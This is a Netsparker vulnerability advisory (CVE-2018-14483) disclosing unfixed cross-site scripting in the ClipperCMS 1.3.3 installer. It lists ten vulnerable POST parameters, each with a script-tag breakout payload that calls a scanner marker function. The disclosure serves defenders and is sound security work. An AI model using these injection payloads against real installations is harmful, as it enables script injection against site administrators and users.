Multiple Cross-site Scripting Vulnerabilities in ClipperCMS 1.3.3

Information
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Advisory by Netsparker
Name: Cross-site Scripting Vulnerabilities in ClipperCMS
Affected Software: ClipperCMS
Affected Versions: 1.3.3
Homepage: https://github.com/ClipperCMS/ClipperCMS
Vulnerability: Cross-site Scripting Vulnerabilities
Severity: High
Status: Not Fixed
CVE-ID: CVE-2018-14483
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-008

Technical Details - (Install Page)
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URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  cmspasswordconfirm
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F61)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  cmsadminemail
Parameter Type  POST
Attack Pattern &nbsp;'"--></style></scRipt><scRipt>netsparker(0x001F59)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  tableengine
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F65)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  phpdbapi
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F6D)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  cmsadmin
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F55)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  database_collation
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F69)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  tableprefix
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F51)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  databasehost
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001E83)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  cmspassword
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F5D)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  database_name
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F4D)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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27th November 2017 - Issue Reported
11th September 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Enterprise. Visit our website https://www.netsparker.com for more information.